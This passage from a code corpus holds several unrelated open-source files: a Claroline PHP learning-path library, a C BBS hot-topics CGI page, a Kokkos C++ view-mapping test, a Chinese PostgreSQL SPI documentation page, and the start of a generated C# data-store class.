boolean and deepness added in * * @author Piraux Sébastien <pir@cerdecam.be> */ function build_display_element_list($elementList, $deepness = 0) { $count = 0; $first = true; $last = false; $displayElementList = array(); foreach($elementList as $thisElement) { $count++; // temporary save the children before overwritten it if (isset($thisElement['children'])) $temp = $thisElement['children']; else $temp = NULL; // re init temp value if there is nothing to put in it // we use 'children' to calculate the deepness of the module, it will be displayed // using a spacing multiply by deepness $thisElement['children'] = $deepness; //--- up and down arrows displayed ? if ($count == count($elementList) ) $last = true; $thisElement['up'] = $first ? false : true; $thisElement['down'] = $last ? false : true; //--- $first = false; $displayElementList[] = $thisElement; if ( isset( $temp ) && sizeof( $temp ) > 0 ) { $displayElementList = array_merge( $displayElementList, build_display_element_list($temp, $deepness + 1 ) ); } } return $displayElementList; } /** * This function set visibility for all the nodes of the tree module_tree * * @param $module_tree tree of modules we want to change the visibility * @param $visibility ths visibility string as requested by the DB * * @author Piraux Sébastien <pir@cerdecam.be> */ function set_module_tree_visibility($module_tree, $visibility) { $tbl_cdb_names = claro_sql_get_course_tbl(); $tbl_lp_rel_learnPath_module = $tbl_cdb_names['lp_rel_learnPath_module']; foreach($module_tree as $module) { if($module['visibility'] != $visibility) { $sql = "UPDATE `" . $tbl_lp_rel_learnPath_module . "` SET `visibility` = '" . claro_sql_escape($visibility) . "' WHERE `learnPath_module_id` = " . (int) $module['learnPath_module_id'] . " AND `visibility` != '" . claro_sql_escape($visibility) . "'"; claro_sql_query ($sql); } if (isset($module['children']) && is_array($module['children']) ) set_module_tree_visibility($module['children'], $visibility); } } /** * This function deletes all the nodes of the tree module_tree * * @param $module_tree tree of modules we want to change the visibility * * @author Piraux Sébastien <pir@cerdecam.be> */ function delete_module_tree($module_tree) { $tbl_cdb_names = claro_sql_get_course_tbl(); $tbl_lp_rel_learnPath_module = $tbl_cdb_names['lp_rel_learnPath_module']; $tbl_lp_user_module_progress = $tbl_cdb_names['lp_user_module_progress']; $tbl_lp_module = $tbl_cdb_names['lp_module']; $tbl_lp_asset = $tbl_cdb_names['lp_asset']; foreach($module_tree as $module) { switch($module['contentType']) { case CTSCORM_ : // delete asset if scorm $delAssetSql = "DELETE FROM `".$tbl_lp_asset."` WHERE `module_id` = ". (int)$module['module_id']." "; claro_sql_query($delAssetSql); // no break; because we need to delete modul case CTLABEL_ : // delete module if scorm && if label $delModSql = "DELETE FROM `" . $tbl_lp_module . "` WHERE `module_id` = ". (int)$module['module_id']; claro_sql_query($delModSql); // no break; because we need to delete LMP and UMP default : // always delete LPM and UMP claro_sql_query("DELETE FROM `" . $tbl_lp_rel_learnPath_module . "` WHERE `learnPath_module_id` = " . (int)$module['learnPath_module_id']); claro_sql_query("DELETE FROM `" . $tbl_lp_user_module_progress . "` WHERE `learnPath_module_id` = " . (int)$module['learnPath_module_id']); break; } } if ( isset($module['children']) && is_array($module['children']) ) delete_module_tree($module['children']); } /** * This function return the node with $module_id (recursive) * * * @param $lpModules array the tree of all modules in a learning path * @param $iid node we are looking for * @param $field type of node we are looking for (learnPath_module_id, module_id,...) * * @return array the requesting node (with all its children) * * @author Piraux Sébastien <pir@cerdecam.be> */ function get_module_tree( $lpModules , $id, $field = 'module_id') { foreach( $lpModules as $module) { if( $module[$field] == $id) { return $module; } elseif ( isset($module['children']) && is_array($module['children']) ) { $temp = get_module_tree($module['children'], $id, $field); if( is_array($temp) ) return $temp; // else check next node } } } /** * Convert the time recorded in seconds to a scorm type * * @author Piraux Sébastien <pir@cerdecam.be> * @param $time time in seconds to convert to a scorm type time * @return string compatible scorm type (smaller format) */ function seconds_to_scorm_time($time) { $hours = floor( $time / 3600 ); if( $hours < 10 ) { $hours = "0".$hours; } $min = floor( ( $time -($hours * 3600) ) / 60 ); if( $min < 10) { $min = '0' . $min; } $sec = $time - ($hours * 3600) - ($min * 60); if($sec < 10) { $sec = '0' . $sec; } return $hours . ':' . $min . ':' . $sec; } /** * This function allow to see if a time string is the SCORM requested format : hhhh:mm:ss.cc * * @param $time a suspected SCORM time value, returned by the javascript API * * @author Lederer Guillaume <led@cerdecam.be> */ function isScormTime($time) { $mask = "/^[0-9]{2,4}:[0-9]{2}:[0-9]{2}.?[0-9]?[0-9]?$/"; if (preg_match($mask,$time)) { return TRUE; } return FALSE; } /** * This function allow to add times saved in the SCORM requested format : hhhh:mm:ss.cc * * @param $time1 a suspected SCORM time value, total_time, in the API * @param $time2 a suspected SCORM time value, session_time to add, in the API * * @author Lederer Guillaume <led@cerdecam.be> * */ function addScormTime($time1, $time2) { if (isScormTime($time2)) { //extract hours, minutes, secondes, ... from time1 and time2 $mask = "/^([0-9]{2,4}):([0-9]{2}):([0-9]{2}).?([0-9]?[0-9]?)$/"; preg_match($mask,$time1, $matches); $hours1 = $matches[1]; $minutes1 = $matches[2]; $secondes1 = $matches[3]; $primes1 = $matches[4]; preg_match($mask,$time2, $matches); $hours2 = $matches[1]; $minutes2 = $matches[2]; $secondes2 = $matches[3]; $primes2 = $matches[4]; // calculate the resulting added hours, secondes, ... for result $primesReport = FALSE; $secondesReport = FALSE; $minutesReport = FALSE; $hoursReport = FALSE; //calculate primes if ($primes1 < 10) {$primes1 = $primes1*10;} if ($primes2 < 10) {$primes2 = $primes2*10;} $total_primes = $primes1 + $primes2; if ($total_primes >= 100) { $total_primes -= 100; $primesReport = TRUE; } //calculate secondes $total_secondes = $secondes1 + $secondes2; if ($primesReport) {$total_secondes ++;} if ($total_secondes >= 60) { $total_secondes -= 60; $secondesReport = TRUE; } //calculate minutes $total_minutes = $minutes1 + $minutes2; if ($secondesReport) {$total_minutes ++;} if ($total_minutes >= 60) { $total_minutes -= 60; $minutesReport = TRUE; } //calculate hours $total_hours = $hours1 + $hours2; if ($minutesReport) {$total_hours ++;} if ($total_hours >= 10000) { $total_hours -= 10000; $hoursReport = TRUE; } // construct and return result string if ($total_hours < 10) {$total_hours = "0" . $total_hours;} if ($total_minutes < 10) {$total_minutes = "0" . $total_minutes;} if ($total_secondes < 10) {$total_secondes = "0" . $total_secondes;} $total_time = $total_hours . ":" . $total_minutes . ":" . $total_secondes; // add primes only if != 0 if ($total_primes != 0) {$total_time .= "." . $total_primes;} return $total_time; } else { return $time1; } } function delete_exercise_asset($exerciseId) { $tbl_cdb_names = claro_sql_get_course_tbl(claro_get_course_db_name_glued()); $tbl_lp_module = $tbl_cdb_names['lp_module']; $tbl_lp_asset = $tbl_cdb_names['lp_asset']; $tbl_lp_rel_learnPath_module = $tbl_cdb_names['lp_rel_learnPath_module']; $tbl_lp_user_module_progress = $tbl_cdb_names['lp_user_module_progress']; // get id of all item to delete $sql = "SELECT `A`.`asset_id`, `M`.`module_id`,`LPM`.`learnPath_module_id` FROM `".$tbl_lp_asset."` AS `A`, `".$tbl_lp_module."` AS `M`, `".$tbl_lp_rel_learnPath_module."` AS `LPM` WHERE `A`.`path` = '".$exerciseId."' AND `A`.`asset_id` = `M`.`startAsset_id` AND `M`.`module_id` = `LPM`.`module_id`"; $deleteItemList = claro_sql_query_fetch_all($sql); if( is_array($deleteItemList) && !empty($deleteItemList) ) { foreach( $deleteItemList as $row ) { if( isset($row['asset_id']) ) $assetList[] = $row['asset_id']; if( isset($row['module_id']) ) $moduleList[] = $row['module_id']; if( isset($row['learnPath_module_id']) ) $learnPathModuleList[] = $row['learnPath_module_id']; } // remove doubled values $assetList = array_unique($assetList); $moduleList = array_unique($moduleList); $learnPathModuleList = array_unique($learnPathModuleList); // we should now have a list for each ressource type, build delete queries if( is_array($assetList) && !empty($assetList) ) { $sql = "DELETE FROM `".$tbl_lp_asset."` WHERE `asset_id` IN (".implode(',',$assetList).")"; if( claro_sql_query($sql) == false ) return false; } if( is_array($moduleList) && !empty($moduleList) ) { $sql = "DELETE FROM `".$tbl_lp_module."` WHERE `module_id` IN (".implode(',',$moduleList).")"; if( claro_sql_query($sql) == false ) return false; } if( is_array($learnPathModuleList) && !empty($learnPathModuleList) ) { $sql = "DELETE FROM `".$tbl_lp_rel_learnPath_module."` WHERE `learnPath_module_id` IN (".implode(',',$learnPathModuleList).")"; if( claro_sql_query($sql) == false ) return false; // and the user progression $sql = "DELETE FROM `".$tbl_lp_user_module_progress."` WHERE `learnPath_module_id` IN (".implode(',',$learnPathModuleList).")"; if( claro_sql_query($sql) == false ) return false; } } else { return false; } return true; } /** * @author Dimitri Rambout <dimitri.rambout@uclouvain.be * * @param $pathId integer id of a learnPath * @return boolean true if learnpath is blocked, false instead * **/ function is_learnpath_accessible( $pathId ) { $blocked = false; $tbl_cdb_names = claro_sql_get_course_tbl(); $tbl_lp_learnPath = $tbl_cdb_names['lp_learnPath' ]; $tbl_lp_rel_learnPath_module = $tbl_cdb_names['lp_rel_learnPath_module']; $tbl_lp_user_module_progress = $tbl_cdb_names['lp_user_module_progress']; $tbl_lp_module = $tbl_cdb_names['lp_module' ]; $tbl_lp_asset = $tbl_cdb_names['lp_asset' ]; // select all the LP upper than this one $sql = "SELECT `rank`, `visibility` FROM `".$tbl_lp_learnPath."` WHERE `learnPath_id` = ".(int) $pathId." LIMIT 1"; $path = claro_sql_query_fetch_single_row( $sql ); if( $path['visibility'] == 'HIDE' ) { $blocked = true; } else { $sql = "SELECT `learnPath_id`, `lock`, `visibility` FROM `".$tbl_lp_learnPath."` WHERE `rank` < ".(int) $path['rank']." ORDER BY `rank` DESC"; $upperPaths = claro_sql_query_fetch_all_rows( $sql ); // get the first blocked LP $upperBlockId = 0; $upperLock = 'OPEN'; foreach( $upperPaths as $upperPath ) { if(strtolower($upperPath['lock']) == 'close') { $upperBlockId = $upperPath['learnPath_id']; $upperLock = $upperPath['lock']; break; } } if( !empty( $upperBlockId ) ) { // step 1. find last visible module of the current learning path in DB $blocksql = "SELECT `learnPath_module_id` FROM `".$tbl_lp_rel_learnPath_module."` WHERE `learnPath_id`=". (int) $upperBlockId." AND `visibility` = \"SHOW\" ORDER BY `rank` DESC LIMIT 1 "; $listblock = claro_sql_query_fetch_single_row($blocksql); // step 2. see if there is a user progression in db concerning this module of the current learning path if( $listblock && is_array($listblock) && count($listblock) ) { $blocksql2 = "SELECT `credit` FROM `".$tbl_lp_user_module_progress."` WHERE `learnPath_module_id`=". (int)$listblock['learnPath_module_id']." AND `user_id`='". (int) claro_get_current_user_id()."' "; $resultblock2 = claro_sql_query($blocksql2); $moduleNumber = mysql_num_rows($resultblock2); } else { $moduleNumber = 0; } if ($moduleNumber!=0) { $listblock2 = mysql_fetch_array($resultblock2); if (($listblock2['credit']=="NO-CREDIT") && ($upperLock == 'CLOSE')) { $blocked = true; } } elseif( $moduleNumber == 0 && $upperLock == 'CLOSE' ) { $blocked = true; } } } return $blocked; } ?>
yannhos115/claroline-exercice
claroline/inc/lib/learnPath.lib.inc.php
PHP
gpl-2.0
50,507
#include "BBSLIB.inc" void trimend(char* src,int lenth); int main() { FILE *fp; int n; char s1[256]; char brd[256],id[16], title[256]; char title_in_url[240]; char path[]="etc/posts/day"; html_init(); fp=fopen(path, "r"); if(fp==NULL) return 1; fgets(s1, 255, fp); fgets(s1, 255, fp); //head printf("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/transitional.dtd\"> " "<html><head><title>Ê®´ó»°Ìâ</title><meta http-equiv=\"content-type\" content=\"text/html; charset=gb18030\">" "<meta HTTP-EQUIV=\"Pragma\" CONTENT=\"no-cache\" /><meta name=\"%s\" content=\"%s top10bless\">" "<style type=\"text/css\">\nbody{padding: 0px;background-color: #FFF;font: 100.01% \"Trebuchet MS\",Verdana,Arial,sans-serif}" "h1,h2,p{margin: 0 10px}h1{font-size: 250%;color: #FFF}h2{font-size: 200%;color: #f0f0f0}p{padding-bottom:1em}" "h2{padding-top: 0.3em}div#nifty{ margin: auto auto;background: #0000CC;width: 508px; text-align: center}" "b.rtop, b.rbottom{display:block;background: #FFF}b.rtop b, b.rbottom b{display:block;height: 1px;overflow: hidden; background: #0000CC}" "b.rtop b.r4, b.rbottom b.r4{margin: 0 1px;height: 2px}" ".top10title { font-size: 12px; color: #3333FF; text-decoration: none; background-color: #ECF2FF; text-align: left}" ".top10id { font-size: 12px; color: #888888; text-decoration: none; background-color: #ECF2FF; font-family: \"Arial\", \"Helvetica\", \"sans-serif\";text-align: left}" ".top10board { font-size: 12px; color: #9999FF; text-decoration: none; background-color: #ECF2FF; font-family: \"Courier New\", \"Courier\", \"mono\"; font-style: italic; font-weight: bold;text-align: left}" ".top10 { font-size: 18pt; color: #FFFFFF; text-decoration: none; background-color: #0000CC; font-family: \"ÐÂËÎÌå\", \"ËÎÌå\", \"Fixedsys\"; text-align: center; font-weight: bold}" "div#blesstop{ margin: auto auto;background: #CC3300;width: 508px; text-align: center}" "b.rtopbless, b.rbottombless{display:block;background: #FFF}b.rtopbless b, b.rbottombless b{display:block;height: 1px;overflow: hidden; background: #CC3300}" "b.r1{margin: 0 5px}b.r2{margin: 0 3px}b.r3{margin: 0 2px}b.rtopbless b.r4, b.rbottombless b.r4{margin: 0 1px;height: 2px}" ".top10blesstitlebless { font-size: 12px; color: #FF3300; text-decoration: none; background-color: #FFFBFB; text-align: left}" ".top10blessidbless { font-size: 12px; color: #009933; text-decoration: none; background-color: #FFFBFB; font-family: \"Arial\", \"Helvetica\", \"sans-serif\";text-align: left}" ".top10blessboardbless { font-size: 12px; color: #9999FF; text-decoration: none; background-color: #FFFBFB; font-family: \"Courier New\", \"Courier\", \"mono\"; font-style: italic; font-weight: bold;text-align: left}" ".top10bless { font-size: 18pt; color: #FFFFFF; text-decoration: none; background-color: #CC3300; font-family: \"ÐÂËÎÌå\", \"ËÎÌå\", \"Fixedsys\"; text-align: center; font-weight: bold}" ".top10blessboardblesslink { font-size: 14.7px; color: #FFFFFF; text-decoration: none; background-color: #CC3300; font-family: \"¿¬Ìå_GB2312\"; text-align: center; font-weight: bold }" ".star { color: #FF9966; font-weight: bold}</style></head>",BBSID,BBSID); printf("<body><div id=\"nifty\"><b class=\"rtop\"><b class=\"r1\"></b><b class=\"r2\"></b><b class=\"r3\"></b><b class=\"r4\"></b></b>" "<div align=\"center\"><table width=\"500\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tr>" "<td colspan=\"3\" class=\"top10\"> ÈÈÃÅ»°ÌâÖӵ㲥±¨ </td></tr><tr height=\"5px\"></tr>"); for(n=1; n<=10; n++) { if(fgets(s1, 255, fp)<=0)break; sscanf(s1+45, "%s", brd); sscanf(s1+122, "%s", id); if(fgets(s1, 255, fp)<=0)break; strsncpy(title, s1+27, 60); trimend(title,59); kill_quotation_mark(title_in_url,title); printf("<tr><td class=\"top10board\"><a href=\"/cgi-bin/bbs/bbsdoc?board=%s\" class=\"top10board\">%s</a></td>" "<td class=\"top10title\"><a href=\"/cgi-bin/bbs/newcon?board=%s&amp;title=%s\" class=\"top10title\">¡ð%s </a> " "</td><td class=\"top10id\"> <a href=\"/cgi-bin/bbs/bbsqry?userid=%s\" class=\"top10id\">%s</a></td></tr>", brd,brd,brd,title_in_url,title,id,id); } fclose(fp); printf("</table></div><b class=\"rbottom\"><b class=\"r4\"></b><b class=\"r3\"></b><b class=\"r2\"></b><b class=\"r1\"></b></b>" "</div><p></p><p></p><div id=\"blesstop\"><b class=\"rtopbless\"><b class=\"r1\"></b><b class=\"r2\"></b><b class=\"r3\"></b><b class=\"r4\"></b></b>" "<div align=\"center\"><table width=\"500\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tr> " "<td colspan=\"2\" class=\"top10bless\">±¾ÈÕÊ®´óÖÔÐÄ×£¸£</td></tr><tr>" "<td colspan=\"2\" class=\"top10blessboardblesslink\" height=\"22px\"><a href=\"/cgi-bin/bbs/bbstdoc?board=Blessing\" class=\"top10blessboardblesslink\">»¶Ó­¹âÁÙBlessing¡¤ÐÇÓïÐÄÔ¸ </a></td>" "</tr>"); fp=fopen("etc/bless/day", "r"); if(fp==NULL) return 1; fgets(s1, 255, fp); fgets(s1, 255, fp); for(n=1; n<=10; n++) { if(fgets(s1, 255, fp)<=0)break; sscanf(s1+45, "%s", brd); sscanf(s1+122, "%s", id); if(fgets(s1, 255, fp)<=0)break; strsncpy(title, s1+27, 60); trimend(title,59); kill_quotation_mark(title_in_url,title); printf("<tr><td class=\"top10blesstitlebless\"><a href=\"/cgi-bin/bbs/newcon?board=Blessing&amp;title=%s\" class=\"top10blesstitlebless\">" "<span class=\"star\">¡ï&nbsp;</span>%s </a></td><td class=\"top10blessidbless\">" "<a href=\"/cgi-bin/bbs/bbsqry?userid=%s\" class=\"top10blessidbless\">%s</a></td></tr>", title_in_url,title,id,id); } printf("</table>"); fclose(fp); printf("</table></div><b class=\"rbottombless\"><b class=\"r4\"></b><b class=\"r3\"></b><b class=\"r2\"></b><b class=\"r1\"></b></b>" "</div></body></html>"); return 0; } void trimend(char* src,int lenth) { char * p; for (p=src+lenth;(*p==0x20||(!*p))&&p>src;p--) *p=0; return; }
madoldman/inankai_bbs
wwwsrc/main/hottopic.c
C
gpl-2.0
5,945
/* //@HEADER // ************************************************************************ // // Kokkos v. 3.0 // Copyright (2020) National Technology & Engineering // Solutions of Sandia, LLC (NTESS). // // Under the terms of Contract DE-NA0003525 with NTESS, // the U.S. Government retains certain rights in this software. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // 1. Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // 3. Neither the name of the Corporation nor the names of the // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY NTESS "AS IS" AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NTESS OR THE // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Questions? Contact Christian R. Trott (crtrott@sandia.gov) // // ************************************************************************ //@HEADER */ #include <gtest/gtest.h> #include <stdexcept> #include <sstream> #include <iostream> #include <Kokkos_Core.hpp> namespace Test { /*--------------------------------------------------------------------------*/ template <class Space> struct TestViewMappingAtomic { typedef typename Space::execution_space ExecSpace; typedef typename Space::memory_space MemSpace; typedef Kokkos::MemoryTraits<Kokkos::Atomic> mem_trait; typedef Kokkos::View<int *, ExecSpace> T; typedef Kokkos::View<int *, ExecSpace, mem_trait> T_atom; T x; T_atom x_atom; enum { N = 100000 }; struct TagInit {}; struct TagUpdate {}; struct TagVerify {}; KOKKOS_INLINE_FUNCTION void operator()(const TagInit &, const int i) const { x(i) = i; } KOKKOS_INLINE_FUNCTION void operator()(const TagUpdate &, const int i) const { x_atom(i % 2) += 1; } KOKKOS_INLINE_FUNCTION void operator()(const TagVerify &, const int i, long &error_count) const { if (i < 2) { if (x(i) != int(i + N / 2)) ++error_count; } else { if (x(i) != int(i)) ++error_count; } } TestViewMappingAtomic() : x("x", N), x_atom(x) {} void run() { ASSERT_TRUE(T::reference_type_is_lvalue_reference); ASSERT_FALSE(T_atom::reference_type_is_lvalue_reference); Kokkos::parallel_for(Kokkos::RangePolicy<ExecSpace, TagInit>(0, N), *this); Kokkos::parallel_for(Kokkos::RangePolicy<ExecSpace, TagUpdate>(0, N), *this); long error_count = -1; Kokkos::parallel_reduce(Kokkos::RangePolicy<ExecSpace, TagVerify>(0, N), *this, error_count); ASSERT_EQ(0, error_count); typename T_atom::HostMirror x_host = Kokkos::create_mirror_view(x); Kokkos::deep_copy(x_host, x); error_count = -1; Kokkos::parallel_reduce( Kokkos::RangePolicy<Kokkos::DefaultHostExecutionSpace, TagVerify>(0, N), [=](const TagVerify &, const int i, long &tmp_error_count) { if (i < 2) { if (x_host(i) != int(i + N / 2)) ++tmp_error_count; } else { if (x_host(i) != int(i)) ++tmp_error_count; } }, error_count); ASSERT_EQ(0, error_count); Kokkos::deep_copy(x, x_host); } }; TEST(TEST_CATEGORY, view_mapping_atomic) { TestViewMappingAtomic<TEST_EXECSPACE> f; f.run(); } } // namespace Test /*--------------------------------------------------------------------------*/ namespace Test { struct MappingClassValueType { KOKKOS_INLINE_FUNCTION MappingClassValueType() { #if 0 #if defined(KOKKOS_ACTIVE_EXECUTION_MEMORY_SPACE_CUDA) printf( "TestViewMappingClassValue construct on Cuda\n" ); #elif defined(KOKKOS_ACTIVE_EXECUTION_MEMORY_SPACE_HOST) printf( "TestViewMappingClassValue construct on Host\n" ); #else printf( "TestViewMappingClassValue construct unknown\n" ); #endif #endif } KOKKOS_INLINE_FUNCTION ~MappingClassValueType() { #if 0 #if defined(KOKKOS_ACTIVE_EXECUTION_MEMORY_SPACE_CUDA) printf( "TestViewMappingClassValue destruct on Cuda\n" ); #elif defined(KOKKOS_ACTIVE_EXECUTION_MEMORY_SPACE_HOST) printf( "TestViewMappingClassValue destruct on Host\n" ); #else printf( "TestViewMappingClassValue destruct unknown\n" ); #endif #endif } }; template <class Space> void test_view_mapping_class_value() { typedef typename Space::execution_space ExecSpace; ExecSpace().fence(); { Kokkos::View<MappingClassValueType, ExecSpace> a("a"); ExecSpace().fence(); } ExecSpace().fence(); } TEST(TEST_CATEGORY, view_mapping_class_value) { test_view_mapping_class_value<TEST_EXECSPACE>(); } } // namespace Test /*--------------------------------------------------------------------------*/ namespace Test { TEST(TEST_CATEGORY, view_mapping_assignable) { typedef TEST_EXECSPACE exec_space; { // Assignment of rank-0 Left = Right typedef Kokkos::ViewTraits<int, Kokkos::LayoutLeft, exec_space> dst_traits; typedef Kokkos::ViewTraits<int, Kokkos::LayoutRight, exec_space> src_traits; typedef Kokkos::Impl::ViewMapping<dst_traits, src_traits, void> mapping; static_assert(mapping::is_assignable, ""); Kokkos::View<int, Kokkos::LayoutRight, exec_space> src; Kokkos::View<int, Kokkos::LayoutLeft, exec_space> dst(src); dst = src; } { // Assignment of rank-0 Right = Left typedef Kokkos::ViewTraits<int, Kokkos::LayoutRight, exec_space> dst_traits; typedef Kokkos::ViewTraits<int, Kokkos::LayoutLeft, exec_space> src_traits; typedef Kokkos::Impl::ViewMapping<dst_traits, src_traits, void> mapping; static_assert(mapping::is_assignable, ""); Kokkos::View<int, Kokkos::LayoutLeft, exec_space> src; Kokkos::View<int, Kokkos::LayoutRight, exec_space> dst(src); dst = src; } { // Assignment of rank-1 Left = Right typedef Kokkos::ViewTraits<int *, Kokkos::LayoutLeft, exec_space> dst_traits; typedef Kokkos::ViewTraits<int *, Kokkos::LayoutRight, exec_space> src_traits; typedef Kokkos::Impl::ViewMapping<dst_traits, src_traits, void> mapping; static_assert(mapping::is_assignable, ""); Kokkos::View<int *, Kokkos::LayoutRight, exec_space> src; Kokkos::View<int *, Kokkos::LayoutLeft, exec_space> dst(src); dst = src; } { // Assignment of rank-1 Right = Left typedef Kokkos::ViewTraits<int *, Kokkos::LayoutRight, exec_space> dst_traits; typedef Kokkos::ViewTraits<int *, Kokkos::LayoutLeft, exec_space> src_traits; typedef Kokkos::Impl::ViewMapping<dst_traits, src_traits, void> mapping; static_assert(mapping::is_assignable, ""); Kokkos::View<int *, Kokkos::LayoutLeft, exec_space> src; Kokkos::View<int *, Kokkos::LayoutRight, exec_space> dst(src); dst = src; } { // Assignment of rank-2 Left = Right typedef Kokkos::ViewTraits<int **, Kokkos::LayoutLeft, exec_space> dst_traits; typedef Kokkos::ViewTraits<int **, Kokkos::LayoutRight, exec_space> src_traits; typedef Kokkos::Impl::ViewMapping<dst_traits, src_traits, void> mapping; static_assert(!mapping::is_assignable, ""); } { // Assignment of rank-2 Right = Left typedef Kokkos::ViewTraits<int **, Kokkos::LayoutRight, exec_space> dst_traits; typedef Kokkos::ViewTraits<int **, Kokkos::LayoutLeft, exec_space> src_traits; typedef Kokkos::Impl::ViewMapping<dst_traits, src_traits, void> mapping; static_assert(!mapping::is_assignable, ""); } } } // namespace Test
pastewka/lammps
lib/kokkos/core/unit_test/TestViewMapping_b.hpp
C++
gpl-2.0
8,482
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="zh-CN"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta http-equiv="Content-Language" content="zh-CN"><link href="stylesheet.css" media="all" rel="stylesheet" type="text/css"> <title>SPI_cursor_close</title> <script>var _hmt=_hmt||[]; (function(){ var hm=document.createElement("script"); hm.src="//hm.baidu.com/hm.js?d286c55b63a3c54a1e43d10d4c203e75"; var s=document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm,s); })();</script> </head><body class="REFENTRY"> <div> <table summary="Header navigation table" width="100%" border="0" cellpadding="0" cellspacing="0"> <tr><th colspan="5" align="center" valign="bottom">PostgreSQL 8.2.3 中文文档</th></tr> <tr><td width="10%" align="left" valign="top"><a href="spi-spi-cursor-move.html" accesskey="P">后退</a></td><td width="10%" align="left" valign="top"><a href="spi-spi-cursor-move.html">快退</a></td><td width="60%" align="center" valign="bottom"></td><td width="10%" align="right" valign="top"><a href="spi-spi-saveplan.html">快进</a></td><td width="10%" align="right" valign="top"><a href="spi-spi-saveplan.html" accesskey="N">前进</a></td></tr> </table> <hr align="LEFT" width="100%"></div> <h1><a name="SPI-SPI-CURSOR-CLOSE"></a>SPI_cursor_close</h1> <div class="REFNAMEDIV"><a name="AEN42750"></a><h2>函数名</h2>SPI_cursor_close&nbsp;--&nbsp;关闭一个游标</div> <a name="AEN42753"></a> <div class="REFSYNOPSISDIV"><a name="AEN42755"></a><h2>原型</h2> <pre class="SYNOPSIS">void SPI_cursor_close(Portal <tt class="PARAMETER">portal</tt>)</pre> </div> <div class="REFSECT1"><a name="AEN42758"></a><h2>描述</h2> <p><code class="FUNCTION">SPI_cursor_close</code> 关闭一个前面创建的游标并且释放其入口存储。</p> <p>在事务结尾,所有打开的游标都自动关闭。只有在希望更早释放资源的时候才需要调用 <code class="FUNCTION">SPI_cursor_close</code></p> </div> <div class="REFSECT1"><a name="AEN42764"></a><h2>参数</h2> <div class="VARIABLELIST"> <dl> <dt><tt class="LITERAL">Portal <tt class="PARAMETER">portal</tt></tt></dt> <dd><p>包含游标的入口</p></dd> </dl> </div> </div> <div> <hr align="LEFT" width="100%"> <table summary="Footer navigation table" width="100%" border="0" cellpadding="0" cellspacing="0"> <tr><td width="33%" align="left" valign="top"><a href="spi-spi-cursor-move.html" accesskey="P">后退</a></td><td width="34%" align="center" valign="top"><a href="index.html" accesskey="H">首页</a></td><td width="33%" align="right" valign="top"><a href="spi-spi-saveplan.html" accesskey="N">前进</a></td></tr> <tr><td width="33%" align="left" valign="top">SPI_cursor_move</td><td width="34%" align="center" valign="top"><a href="spi-interface.html" accesskey="U">上一级</a></td><td width="33%" align="right" valign="top">SPI_saveplan</td></tr> </table> </div> </body></html>
Pengfei-Gao/develop-reference-data
www.jinbuguo.com/postgresql/menu823/spi-spi-cursor-close.html
HTML
gpl-2.0
2,990
/* Automatically generated codefile, Meridian * Generated by magic, please do not interfere * Please sleep well and do not smoke. Love, Sam */ using System; using System.Linq; using System.Text; using System.Data.Linq; using System.Collections.Generic; using MySql.Data.MySqlClient; using meridian.smolensk; using meridian.smolensk.system; namespace meridian.smolensk.protoStore { public partial class photobank_photo_tagsStore : Meridian.IEntityStore, admin.db.IDataService<proto.photobank_photo_tags> { public photobank_photo_tagsStore() { m_Items = new SortedList<long, proto.photobank_photo_tags>(); } private SortedList<long, proto.photobank_photo_tags> m_Items; public void Commit() { //throw new NotImplementedException(); } public IQueryable<proto.photobank_photo_tags> GetAll() { return Queryable.AsQueryable<proto.photobank_photo_tags>(All()); } public proto.photobank_photo_tags GetById(long id) { return Get(id); } void admin.db.IDataService<proto.photobank_photo_tags>.Insert(proto.photobank_photo_tags item) { Insert(item); } void admin.db.IDataService<proto.photobank_photo_tags>.Delete(proto.photobank_photo_tags item) { Delete(item); } public proto.photobank_photo_tags CreateItem() { return new proto.photobank_photo_tags() { }; } public void AbortItem(proto.photobank_photo_tags item) { Delete(item); } public void Discard() { ; } void admin.db.IDataService<proto.photobank_photo_tags>.Update(proto.photobank_photo_tags item) { Persist(item); } public object GetObject(long _id) { return Get(_id); } public System.Type GetObjectType() { return typeof(proto.photobank_photo_tags); } public void DeleteById(long _id) { Delete(Get(_id)); } public void UpdateById(long _id) { Update(Get(_id)); } public void LoadAggregations(Meridian _meridian) { foreach(var item in m_Items.Values) { item.LoadAggregations(_meridian); } } public void Select(MySqlConnection _connection) { var cmd = new MySqlCommand("SELECT `id`, `tag_id`, `photo_id` FROM photobank_photo_tags"); cmd.Connection = _connection; using(var reader = cmd.ExecuteReader()) { while(reader.Read()) { var item = new proto.photobank_photo_tags(); item.LoadFromReader(reader); m_Items[item.id] = item; } } } public proto.photobank_photo_tags Insert(MySqlConnection _connection, proto.photobank_photo_tags _item) { var cmd = new MySqlCommand("INSERT INTO photobank_photo_tags ( `tag_id`, `photo_id` ) VALUES ( @tag_id, @photo_id ); SELECT LAST_INSERT_ID();"); ; cmd.Parameters.Add( new 